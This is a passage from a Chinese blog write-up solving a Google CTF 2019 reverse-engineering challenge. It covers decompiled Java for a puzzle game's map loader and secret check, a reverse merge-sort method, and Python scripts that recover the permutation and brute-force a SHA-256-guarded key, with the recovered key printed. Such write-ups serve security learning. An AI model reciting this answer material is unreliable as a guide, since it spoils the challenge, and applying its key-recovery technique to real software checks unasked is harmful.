MainControl.controller.add(MainControl.right_button);</span><br><span class="line">    <span class="type">int</span> <span class="variable">v8</span> <span class="operator">=</span> v12 - <span class="number">16</span> - each_button_width;</span><br><span class="line">    MainControl.jump_button = <span class="keyword">new</span> <span class="title class_">PressPhysicalCheck</span>(buttons[<span class="number">1</span>][<span class="number">2</span>], v8, <span class="number">16</span>, each_button_width);</span><br><span class="line">    MainControl.controller.add(MainControl.jump_button);</span><br><span class="line">    MainControl.press_button = <span class="keyword">new</span> <span class="title class_">PressPhysicalCheck</span>(buttons[<span class="number">1</span>][<span class="number">3</span>], v8, each_button_high + <span class="number">0x20</span>, each_button_width);</span><br><span class="line">    MainControl.controller.add(MainControl.press_button);</span><br><span class="line">    MainControl.another_controller = <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">    <span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="comment">// 初始化每一个egg的按钮</span></span><br><span class="line">    <span class="keyword">while</span>(i &lt; g_map.egg_lists.length) &#123;</span><br><span class="line">        <span class="type">ArrayList</span> <span class="variable">special_control</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">        ((List)special_control).add(buttons[j][j]);  <span class="comment">// 0号button做透明按钮，让egg也可以被按下去</span></span><br><span class="line">        ((List)special_control).add(tile.GetTileSprite(g_map.egg_lists[i]));</span><br><span class="line">        MainControl.another_controller.add(<span class="keyword">new</span> <span class="title class_">PressPhysicalCheck</span>(special_control, v12 / <span class="number">2</span> - each_button_width * <span class="number">2</span> + i % <span class="number">4</span> * each_button_width, v13 / <span class="number">2</span> - each_button_high * <span class="number">2</span> + i / <span class="number">4</span> * each_button_high, each_button_width, i));</span><br><span class="line">        ++i;</span><br><span class="line">        j = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    MainControl.hasPress = <span class="literal">false</span>;</span><br><span class="line">    MainControl.now_egg = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中<code>UI.png</code>如下:<br><img src="/2019/07/29/GoogleCTF-2019/wp08.png" alt=""><br>可以看到，这段逻辑将一个名为<code>UI.png</code>的图片进行了等距切割，并且将切割好的图片对应到一个二维的int数组中，将每一个按钮的<code>Sprite</code>用数组的方式进行了存储，从而实现对按钮初始化的过程。<br>根据这段逻辑，我们可以找到调用了<code>tileset.png</code>初始化的位置</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">g_map(h arg3) &#123;</span><br><span class="line">    <span class="built_in">super</span>();</span><br><span class="line">    <span class="built_in">this</span>.row = <span class="number">190</span>;</span><br><span class="line">    <span class="built_in">this</span>.clo = <span class="number">46</span>;</span><br><span class="line">    <span class="built_in">this</span>.g = arg3;</span><br><span class="line">    <span class="type">AllMapResource</span> <span class="variable">tileSetImg</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AllMapResource</span>(ResourceLoader.loadResource.loader(<span class="string">&quot;tileset.png&quot;</span>));</span><br><span class="line">    <span class="built_in">this</span>.width = tileSetImg.GetSize() / <span class="number">16</span>;</span><br><span class="line">    <span class="built_in">this</span>.height = tileSetImg.GetLength() / <span class="number">8</span>;</span><br><span class="line">    <span class="built_in">this</span>.AlltileSprite = Graph2Object.SplitSprite(tileSetImg, <span class="built_in">this</span>.width, <span class="built_in">this</span>.height);</span><br><span class="line">    <span class="built_in">this</span>.egg_number = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">this</span>.level = <span class="number">1</span>;</span><br><span class="line">    <span class="built_in">this</span>.LevelChoose(<span class="built_in">this</span>.level);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这边同样将这个图片进行了切割，并且进行了映射。在网上找到了一个解释的很好的图:<a href="https://github.com/EmpireCTF/empirectf/blob/master/writeups/2019-06-22-Google-CTF-Quals/screens/tileset-annotated.png">网上的解释图</a><br>而显示地图则是通过如下的逻辑:</p><ul><li>读取<code>Level.bin</code>文件</li><li>将文件解压缩</li><li>将其中的数字（ascii）翻译成对应的Sprite</li></ul><p>这段逻辑就是之前演示过的<code>CallMessageToGenerateMap</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">CallMessageToGenerateMap</span><span class="params">(<span class="type">byte</span>[] message)</span> &#123;</span><br><span class="line">    <span class="type">InflaterInputStream</span> <span class="variable">inflareSrtream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InflaterInputStream</span>(<span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(message));</span><br><span class="line">    <span class="type">byte</span>[] map = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="built_in">this</span>.row * <span class="built_in">this</span>.clo];</span><br><span class="line">    <span class="keyword">if</span>(inflareSrtream.read(map) == <span class="built_in">this</span>.row * <span class="built_in">this</span>.clo) &#123;  <span class="comment">// 地图的真实数据将会被解压出来</span></span><br><span class="line">        <span class="built_in">this</span>.resourceArray = <span class="keyword">new</span> <span class="title class_">Enum_Res</span>[<span class="built_in">this</span>.clo][];</span><br><span class="line">        <span class="built_in">this</span>.egg_appear = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="built_in">this</span>.clo][];</span><br><span class="line">        <span class="built_in">this</span>.egg_vector = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">0x20</span>][];</span><br><span class="line">        <span class="type">int</span> <span class="variable">egg_resource</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="type">int</span> i;</span><br><span class="line">        <span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="built_in">this</span>.clo; ++i) &#123;</span><br><span class="line">            <span class="built_in">this</span>.resourceArray[i] = <span class="keyword">new</span> <span class="title class_">Enum_Res</span>[<span class="built_in">this</span>.row];  <span class="comment">// 每一列都存一个资源数组</span></span><br><span class="line">            <span class="built_in">this</span>.egg_appear[i] = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="built_in">this</span>.row];  <span class="comment">// 存放出现的egg</span></span><br><span class="line">            <span class="type">int</span> j;</span><br><span class="line">            <span class="keyword">for</span>(j = <span class="number">0</span>; j &lt; <span class="built_in">this</span>.row; ++j) &#123;</span><br><span class="line">                <span class="built_in">this</span>.egg_appear[i][j] = -<span class="number">1</span>;  <span class="comment">// 一开始的时候所有的位置都没有egg</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">this</span>.egg_number = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="built_in">this</span>.clo; ++i) &#123;</span><br><span class="line">            <span class="keyword">for</span>(j = <span class="number">0</span>; j &lt; <span class="built_in">this</span>.row; ++j) &#123;</span><br><span class="line">                <span class="type">Enum_Res</span> <span class="variable">res</span> <span class="operator">=</span> <span class="built_in">this</span>.trans_num_to_resource(map[<span class="built_in">this</span>.row * i + j]);</span><br><span class="line">                <span class="built_in">this</span>.resourceArray[<span class="built_in">this</span>.clo - i - <span class="number">1</span>][j] = res;  <span class="comment">// 也就是说，地图中需要有egg_holder才能够有egg</span></span><br><span class="line">                <span class="keyword">if</span>(res == Enum_Res.egg_holder) &#123;</span><br><span class="line">                    <span class="built_in">this</span>.egg_appear[<span class="built_in">this</span>.clo - i - <span class="number">1</span>][j] = <span class="built_in">this</span>.egg_number;  <span class="comment">// 如果没有一个egg_holder，此时就会有一个egg</span></span><br><span class="line">                    <span class="built_in">this</span>.egg_vector[<span class="built_in">this</span>.egg_number] = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;j, <span class="built_in">this</span>.clo - i - <span class="number">1</span>&#125;;  <span class="comment">// 每一个egg都有一个egg_vector记录坐标</span></span><br><span class="line">                    ++<span class="built_in">this</span>.egg_number;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">this</span>.egg_places = <span class="keyword">new</span> <span class="title class_">Enum_Res</span>[<span class="built_in">this</span>.egg_number];</span><br><span class="line">        <span class="keyword">while</span>(egg_resource &lt; <span class="built_in">this</span>.egg_places.length) &#123;</span><br><span class="line">            <span class="built_in">this</span>.egg_places[egg_resource] = Enum_Res.Egg_0;  <span class="comment">// 如果有超过16个egg_holder，那么剩下的位置全部换成egg_0</span></span><br><span class="line">            ++egg_resource;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">this</span>.recently_egg_place = <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IOException</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="解题逻辑">解题逻辑</h3><p>到这儿其实解题的思路差不多就有了：通过正确的调用<code>GetEgg</code>，有选择的让<code>egg_places</code>与指定的<code>egg_list</code>相等，从而让下面这段逻辑能够通过:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">ShowSecret</span><span class="params">()</span> &#123;  <span class="comment">// [import]check</span></span><br><span class="line">      <span class="type">byte</span>[] message = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">0x20</span>];</span><br><span class="line">      <span class="type">int</span> i;</span><br><span class="line">      <span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="built_in">this</span>.egg_place.length; ++i) &#123;</span><br><span class="line">          <span class="type">int</span> j;</span><br><span class="line">          <span class="keyword">for</span>(j = <span class="number">0</span>; j &lt; g_map.egg_lists.length; ++j) &#123;</span><br><span class="line">              <span class="keyword">if</span>(<span class="built_in">this</span>.egg_place[i] == g_map.egg_lists[j]) &#123;  <span class="comment">// [import]check</span></span><br><span class="line">                  message[i] = ((<span class="type">byte</span>)j);</span><br><span class="line">              &#125;</span><br><span class="line">          &#125;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">  message = <span class="keyword">new</span> <span class="title class_">Checker</span>().CheckAndDecrypt(message);</span><br></pre></td></tr></table></figure><p>从而让秘密地图显示出来。</p><p>那么解开这个题的关键就在于这个<code>nativeChecker</code>中，找到这个<code>nativeChecker</code>的生成逻辑，我们就能够通过修改关卡或者直接生成flag图片的方式来获得题解。</p><h5 id="反向归并排序">反向归并排序</h5><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">        <span class="keyword">if</span> ( right &gt; <span class="number">0</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          t = <span class="number">0</span>;</span><br><span class="line">          right_index = <span class="number">0</span>;</span><br><span class="line">          left_index = <span class="number">0</span>;</span><br><span class="line">          <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">          &#123;</span><br><span class="line">            num = right_ptr[right_index];</span><br><span class="line">            <span class="keyword">if</span> ( buffer[left_index] &gt;= num )</span><br><span class="line">            &#123;</span><br><span class="line">              <span class="keyword">if</span> ( buffer[left_index] &lt;= num || g_array[g_index] )<span class="comment">// left &gt; right的时候g_array[index] == 0</span></span><br><span class="line">              &#123;</span><br><span class="line">LABEL_15:</span><br><span class="line">                c = <span class="number">0</span>;</span><br><span class="line">                <span class="keyword">goto</span> LABEL_22;</span><br><span class="line">              &#125;</span><br><span class="line">              ++g_index;</span><br><span class="line">              dest[t] = right_ptr[right_index++];</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">              <span class="keyword">if</span> ( g_array[g_index] != <span class="number">1</span> )      <span class="comment">// left &lt; right的时候g_array[index] == 1</span></span><br><span class="line">                <span class="keyword">goto</span> LABEL_15;</span><br><span class="line">              ++g_index;</span><br><span class="line">              dest[t] = buffer[left_index++];</span><br><span class="line">            &#125;</span><br><span class="line">            ++t;</span><br><span class="line">            v8 = n &gt;&gt; <span class="number">1</span>;</span><br><span class="line">            <span class="keyword">if</span> ( left_index &gt;= left || right_index &gt;= right )</span><br><span class="line">              <span class="keyword">goto</span> LABEL_17;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        left_index = <span class="number">0</span>;</span><br><span class="line">        right_index = <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>感觉算是一个小小的算法，问了一下大佬同学，可以按照归并排序的顺序运算，然后在原先进行<code>right/left_index ++ </code>的场合，记录下此时元素与元素之间的大小关系。大佬的思想是有了，不过具体的实现好像蛮头疼的，怎么样才能记录这个<strong>大小关系</strong>呢？这里我想到的办法是用权重，将每一个元素初始状态假设为<code>0</code>，每次发生比较，较大的元素权重就要发生<code>+1</code><br>这里大致定义一下整个归并排序的过程</p><ul><li>将数列拆封成两部分</li><li>得到<strong>有序</strong>后的两部分数组</li><li>用两个下标分别标识当前数组元素，并且对其进行比较，较小（根据排序需求）者放入目标数组，并且下标自增</li><li>若其中一个数组被遍历完成，则将剩余的另一个元素数组依次拷贝到目标数组中</li><li>目标数组即为排序完成的数组</li></ul><p>我最初的想法是，在第三步的时候对当前元素的权重进行设置。但是单纯只在比较的场合记录权重，可能会有如下问题:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">数列:4123</span><br><span class="line">权重:0000</span><br><span class="line">---------</span><br><span class="line">数列:1423</span><br><span class="line">权重:0101</span><br><span class="line">---------</span><br><span class="line">数列:1234</span><br><span class="line">权重:0103</span><br></pre></td></tr></table></figure><p>如果只是单纯的在每次比较的时候增加权重，此时有些元素的权重无法得到及时的更新，导致算法出错。考虑到归并排序后，<strong>每一个小数列必然是有序的</strong>，那么<strong>数列a[n]中，weight(a[n-1])&lt;weight(a[n])</strong>，因此在每一次比较完成后，不应该只是更新当前的元素，而是<strong>从当前下标开始的所有当前数组中的元素</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">数列:1423</span><br><span class="line">权重:0101</span><br><span class="line"></span><br><span class="line">--&gt;</span><br><span class="line">比较的场合:</span><br><span class="line">2 &gt; 1，此时</span><br><span class="line">target[0] = 1(weight=0)</span><br><span class="line">weight(2) ++</span><br><span class="line">weight(3) ++</span><br><span class="line"></span><br><span class="line">2 &lt; 4，此时</span><br><span class="line">target[1] = 2(weight=1)</span><br><span class="line">weight(4) ++</span><br><span class="line"></span><br><span class="line">3 &lt; 4，此时</span><br><span class="line">target[2] = 3(weight=2)</span><br><span class="line">weight(4) ++</span><br><span class="line"></span><br><span class="line">----------</span><br><span class="line">1234</span><br><span class="line">0123</span><br></pre></td></tr></table></figure><p>于是就可以得到解题脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">g_cmp = [<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>]</span><br><span class="line">g_index = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Sorted</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, index</span>):</span><br><span class="line">        self.weight = <span class="number">0</span></span><br><span class="line">        self.index = index</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__str__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;[&#123;&#125;]:&#123;&#125;&quot;</span>.<span class="built_in">format</span>(self.index, self.weight)</span><br><span class="line"></span><br><span class="line">g_array = [Sorted(i) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>)]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">PrintSorted</span>(<span class="params">test</span>):</span><br><span class="line">    <span class="built_in">print</span>([each.weight <span class="keyword">for</span> each <span class="keyword">in</span> test])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">M_reverse_calc</span>(<span class="params">buffer, left, right</span>):</span><br><span class="line">    <span class="keyword">global</span> g_cmp</span><br><span class="line">    <span class="keyword">global</span> g_index</span><br><span class="line">    <span class="keyword">if</span> right-left&lt;<span class="number">2</span>:</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    middle = (left+right)//<span class="number">2</span></span><br><span class="line">    M_reverse_calc(buffer, left, middle)</span><br><span class="line">    M_reverse_calc(buffer, middle, right)</span><br><span class="line">    right_index = middle</span><br><span class="line">    left_index = left</span><br><span class="line"></span><br><span class="line">    tmp_array = []</span><br><span class="line">    last_weight = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> left_index &lt; middle <span class="keyword">and</span> right_index &lt; right <span class="keyword">and</span> g_index &lt; <span class="built_in">len</span>(g_cmp):</span><br><span class="line">        <span class="keyword">if</span> g_cmp[g_index] == <span class="number">1</span>:</span><br><span class="line">            <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(right_index, right):</span><br><span class="line">                buffer[i].weight += <span class="number">1</span></span><br><span class="line">            tmp_array.append(buffer[left_index])</span><br><span class="line">            left_index += <span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(left_index, middle):</span><br><span class="line">                buffer[i].weight += <span class="number">1</span></span><br><span class="line">            tmp_array.append(buffer[right_index])</span><br><span class="line">            right_index += <span class="number">1</span></span><br><span class="line">        g_index += <span class="number">1</span></span><br><span class="line">    <span class="keyword">while</span> left_index &lt; middle:</span><br><span class="line">        tmp_array.append(buffer[left_index])</span><br><span class="line">        left_index += <span class="number">1</span></span><br><span class="line">    <span class="keyword">while</span> right_index &lt; right:</span><br><span class="line">        tmp_array.append(buffer[right_index])</span><br><span class="line">        right_index += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(left, right):</span><br><span class="line">        buffer[i] = tmp_array[i - left]</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># PrintSorted(g_array)</span></span><br><span class="line">    M_reverse_calc(g_array, <span class="number">0</span>, <span class="number">16</span>)</span><br><span class="line">    g_array=<span class="built_in">sorted</span>(g_array, key=<span class="keyword">lambda</span> x:x.index)</span><br><span class="line">    PrintSorted(g_array)</span><br></pre></td></tr></table></figure><p>于是可以得到排列为<code>9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1</code>。</p><h4 id="最终拿flag">最终拿flag</h4><p>在用数列解密之前，我们先确认一下当前的地图模式是怎么样的。反向推到加载<code>level</code>的逻辑可以知道，程序将关卡都压缩过，这里我们用python重新解压缩任意一关之后，得到如下的数据:<br><img src="/2019/07/29/GoogleCTF-2019/wp09.png" alt=""><br>然后源程序中，有一个翻译的逻辑如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="built_in">this</span>.clo; ++i) &#123;</span><br><span class="line">        <span class="keyword">for</span>(j = <span class="number">0</span>; j &lt; <span class="built_in">this</span>.row; ++j) &#123;</span><br><span class="line">            <span class="type">Enum_Res</span> <span class="variable">res</span> <span class="operator">=</span> <span class="built_in">this</span>.trans_num_to_resource(map[<span class="built_in">this</span>.row * i + j]);</span><br></pre></td></tr></table></figure><p>里面记录了不同的ascii对应的含义是什么。同时还有一个:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">Graph2Object <span class="title function_">GetTileSprite</span><span class="params">(Enum_Res resource)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v0</span> <span class="operator">=</span> <span class="number">11</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v1</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v2</span> <span class="operator">=</span> <span class="number">9</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v3</span> <span class="operator">=</span> <span class="number">8</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v4</span> <span class="operator">=</span> <span class="number">6</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v7</span> <span class="operator">=</span> <span class="number">2</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v8</span> <span class="operator">=</span> <span class="number">3</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v9</span> <span class="operator">=</span> <span class="number">7</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v10</span> <span class="operator">=</span> <span class="number">4</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">v11</span> <span class="operator">=</span> <span class="number">5</span>;</span><br><span class="line">    <span class="keyword">switch</span>(com.google.ctf.game.g_map$<span class="number">1.</span>a[resource.ordinal()]) &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">1</span>: &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">2</span>: &#123;</span><br><span class="line">            goto label_240;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">3</span>: &#123;</span><br><span class="line">            goto label_236;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">4</span>: &#123;</span><br><span class="line">            goto label_232;</span><br></pre></td></tr></table></figure><p>这里则是将对应的数据翻译成Sprite对象。</p><p>我们可以选择将这些算法翻译出来来得到整个图像。<br>通过逆向整个check算法，可以知道key实际上有32字节，要通过爆破一个sha256得到。不过幸好根据逻辑我们可以知道，真正的key只是我们得到的16字节的key中穿插塞入0而已。于是可以写一个爆破脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">burst_key</span>():</span><br><span class="line">    real_key = []</span><br><span class="line">    iters = itertools.product([<span class="number">0</span>,<span class="number">1</span>], repeat=<span class="number">16</span>)</span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> iters:</span><br><span class="line">        <span class="keyword">for</span> i, eachiters <span class="keyword">in</span> <span class="built_in">enumerate</span>(each):</span><br><span class="line">            <span class="keyword">if</span> eachiters == <span class="number">0</span>:</span><br><span class="line">                real_key += [<span class="number">0</span>, g_key[i]]</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                real_key += [g_key[i], <span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> sha256(<span class="built_in">bytes</span>(real_key)).digest() == <span class="built_in">bytes</span>(g_hash):</span><br><span class="line">            <span class="built_in">print</span>(real_key)</span><br><span class="line">        real_key = []</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Finish&quot;</span>)</span><br></pre></td></tr></table></figure><p>于是得到真正的密码为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[9, 0, 0, 8, 0, 7, 2, 0, 0, 11, 0, 15, 13, 0, 10, 0, 6, 0, 0, 5, 14, 0, 0, 4, 0, 3, 0, 0, 12, 0, 1, 0]</span><br></pre></td></tr></table></figure><p>最后用这个密码对程序进行解密，得到加密的关卡:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 